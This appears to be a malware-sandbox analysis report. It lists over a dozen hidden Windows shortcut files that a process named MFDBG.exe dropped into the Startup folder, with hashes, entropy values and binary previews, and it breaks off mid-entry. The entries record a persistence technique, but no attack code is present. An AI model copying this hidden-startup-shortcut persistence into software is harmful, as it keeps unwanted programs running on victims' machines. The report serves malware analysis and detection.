File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925969656937662
Encrypted:	false
SSDEEP:	24:8Bc3Bfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8BEJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E3BB33AD35422B99EC9404C4F2118089
SHA1:	4A1192FD8811E15674A1F22BC9DFAC118B92ABC6
SHA-256:	608138C3FEAB8FCC8FC8928271C70ACE4BBF376C45D97F7FDCFF887A6BA3AAC5
SHA-512:	2A614B1C7DFFFDD9AD2B4F8C9221DD13C73B45DE0186DDD73BDBBFE10014B4848615D3BC4FFCEEC1FE073FA71FB1FDCB1D1D3F0DD6C7C8FF73C977A7AE195EC8
Malicious:	false
Preview:	L..................F....".......d......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c2e9f789f8484ce7832a97e074f2a08c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.915498919335847
Encrypted:	false
SSDEEP:	24:8dWuBfmQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8sEeFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A00B2D7725C6051155D19649E39B878D
SHA1:	ABBC4F76A214FCE0C3BBE2C9011F45745308A765
SHA-256:	54559ACB2F916490E34652E92BEE4A3CE6EFC85F25FEE5AF4B477833246A059C
SHA-512:	80579FDA92833C78BE5D9C525ACAE848495C6DC88B5D0F9BC22D62E7F846BAA649F7EB4975B668E4547DAC64AE4A70582A44E3729CA2177D1AC83C2938E0DAC0
Malicious:	false
Preview:	L..................F....".......d....).9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....).9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c2f6a3df34f04616acb3ab443bd37ce0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.91585531566727
Encrypted:	false
SSDEEP:	24:836Bf68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:834fEvZ0yRO7DLO2zdxdRd1kyg
MD5:	14BCF98B49A4AA454B3AE3BFFC9E3CEE
SHA1:	D968A0078C71B79929E514894C91F8B5B324EA04
SHA-256:	1B03094F09A4ADE17236F2748188E7E4385FC75D38175B47F008D7E7159A66A1
SHA-512:	09971B95984C0C652FE6450D1E2D6587B190C9C03EC2E539BDF5069D5EFF63CEC41FCCCB9DE7371DB3BF94BDD17FDA035D2E738E9F6D73819D3B1680573608F1
Malicious:	false
Preview:	L..................F....".......d...&v.\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...&v.\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c3123ef38c0c4649983a5c859d6ad2e7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923343709808723
Encrypted:	false
SSDEEP:	24:8NAuBf8f8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NdZEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1ED8BA4808B1702DAB35D446050C7404
SHA1:	BF7C511776203839744079400BF6D536403995D7
SHA-256:	AFDA0096B4512652C1698C4B434B4AA986F05BBC902241CC2D470D2007FA0748
SHA-512:	4AF625278FE6132F6AAB3856132561393368E0BDB936F229AD9101AE4659C425E9D9EF5656BA3B48E739855E276031FC82F65B7B6F1D683CCF7982F220253BB2
Malicious:	false
Preview:	L..................F....".......d....i..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Q...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c31418e184c142fc9b2fe72f5bf988d2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927964954300208
Encrypted:	false
SSDEEP:	24:8OQBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8OeREvZ0yRO7DLO2zdxdRd1kyg
MD5:	60F99D85BCB2E5CA345AD3C3E3F2E7E0
SHA1:	EBBE0F2C8C71F9BA35AD388376AD5FB7486982C5
SHA-256:	C3FCA7918C90B9C5F762FE8F6CC61581318B0CE30ECF6226E2E82A3D2740A3F0
SHA-512:	416BFECD9614DAD7A2E59752AC6780CBFDC1FB5B4D950B96455EF5F5731CF499AADD35D54FFC40FE7D53F5536ADB7B1FC6F87CC059CD78B305966256E3EBB50F
Malicious:	false
Preview:	L..................F....".......d......{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c315579c9c1249de89fbe8c940a13a30.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918908293248056
Encrypted:	false
SSDEEP:	24:8yBfEf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8gBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	555479CFD4132CAEA093064E6007C986
SHA1:	B7DA550E742F3AB27353CD56C234BF785E2954B2
SHA-256:	97B1D6A2C4EBC17584B8CFBB8A548DC6F44DF636B217F5B7BBE0FFD4C7946848
SHA-512:	3C7100904B4566BCE2C900C558D9CFCAE058BB50599C3C8261EF7AF8AF66F395ABFF286A5D738A1DCEE69B0847769EE22304CA7DD286C0B6AA2CA3B874E1668B
Malicious:	false
Preview:	L..................F....".......d....fK.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....F.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c31a7c420d8a4d4696f672280bb2c4b6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:16 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923454456081033
Encrypted:	false
SSDEEP:	24:83Bfm8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8RDEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C6326D1703D633369CEDB41902062062
SHA1:	3CFD38EF38C7788403C68819BE8918781E830743
SHA-256:	F2E057FE0B25FEC0B01835E6514A33E811FF63A8685CF61BB6A46FD9753BF75C
SHA-512:	6FAF0EDFC7D847BDC72FEE80AFF052EEEC8EB2D8B85D37BAC8C84E1D3BB6DA696E8633F05F07EFEE789D7D15360C530209E049339B52AA724E6926626F04FA0F
Malicious:	false
Preview:	L..................F....".......d...~C.&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c352aef064a646779ce42fa7630dfb53.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927964954300207
Encrypted:	false
SSDEEP:	24:8Q3Bf8f8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8QRZEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1259CF4B489F1A2E44AF0AF0C57FC98B
SHA1:	BE1310FBCF6048E9ACF91CCB819E65C21908437F
SHA-256:	0CD81DC37AE92F724B44A31DE4D27CF6B5E83C8334AB4A6FE41E24717A98954B
SHA-512:	E5C97AEBB125AA307C9131AF01759C3743EC54DFB0E9262F936C58964500E4058CC6EA14745C9D676879AFB71569E85DD675FBFA1D44747E5492D01C322D8026
Malicious:	false
Preview:	L..................F....".......d......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Q...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c3877562359349878c87b2693f1c6452.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922013511567026
Encrypted:	false
SSDEEP:	24:8vBf/8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:858EvZ0yRO7DLO2zdxdRd1kyg
MD5:	E4959DFA8E4696D88ADA519690D696E8
SHA1:	8452B56379BC06855ECDB205E61340A58C9F98E7
SHA-256:	B1DF5D35BC352E72F1819E18A7CCDA141F349AFEAC1FAB16A6A12DEAC073F039
SHA-512:	97A608B70DDE715BC797F8CEA564EBAF04459B4FDF3E9776ED5D3E50A96ABE4167B6599FE01464A17FEEC8A0FDE4D04CF8DD261E82B412767CE53DB8CDF58868
Malicious:	false
Preview:	L..................F....".......d.....}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....v}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c4db55aecc6e4422a3e683d4420d2bdc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918415403162525
Encrypted:	false
SSDEEP:	24:8pBfq8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8TPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	647D7AFCF5CBC832E50D8952DE8FC400
SHA1:	1FA1408C642B255EDC115828DE7369E5D1E60B59
SHA-256:	66E3721E7A29024277DE9781E536951092F872720EB7BF429EC517D321587D46
SHA-512:	65F5E1EB7B50945F50C8FA43FA5FF965C79DA52C135F4A7FC0106AFB0695BB2CAB6BBD3A6EAAB1FC7981AD92E96C6FB48937EBCD4FA442A101753D5047ECEC18
Malicious:	false
Preview:	L..................F....".......d...aY.]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c5211a2b2a41435ba7ed73fd2bc20cb8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9218910750142335
Encrypted:	false
SSDEEP:	24:8NqBfeQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8No2FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3931AF91E50DA0F7A77F323E3734FBBF
SHA1:	FC7BEE77374F5397D1F420AC8444704B404C749B
SHA-256:	60DCFE015DBCF394B7438B8AA3357E64C5A1E0028525C4836404ACFA66B9C6A1
SHA-512:	E392376DFA0973A6211B7F961CE529FF942ADBA17AC16188306580D124BEBFD516FA2564B07463551773487144CE0288EF0225C9055B72BEA8AA276973F40EA9
Malicious:	false
Preview:	L..................F....".......d....g.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...6UrRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c537fcc881fd49cabaab9f159b7ddb28.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:19 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924872641521066
Encrypted:	false
SSDEEP:	24:8vBfB8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:85OEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1B009D11818FCF4A9A82EC42B6CE1D44
SHA1:	1046674EA11B183B6E41953880341AD19461806E
SHA-256:	E7826A80B49E2EC79B8E9EF2E60353528F92986A3A5358F24D2FCAAF68FE8483
SHA-512:	CF2A173458ADCE08B34A5EDD01D649EC35BCD1DA71F72F96C0FA808EC95EF84DBBB36E6C20A37E65F501907F422DCAC061487F71EA93CF7AA81781CF068AACEE
Malicious:	false
Preview:	L..................F....".......d...;..(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c56adcd7efc342e18a61a20a14d51c43.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931489183375097
Encrypted:	false
SSDEEP:	24:8oBf8+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8mETEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5864B4EC8127BDE824F74E3187051AF1
SHA1:	FC03FC9EB7BE66BD7DA1176A845D80D26CB6A11C
SHA-256:	8FD9819FC078659F9A0A9F3C722B7198C2F57D35271563CAD07DF24F7E2E13D8
SHA-512:	EC37A955F2C7E7077C716021FF6C3C3922969715E6DF326F84243A4BAA935428898B7D8B6213935AD141FC6A7574A4FE13F17B8D03C49EE3E72AA98F0C3876F7
Malicious:	false
Preview:	L..................F....".......d....#.;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c5b3908ee7e240a09481bea946407c6b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
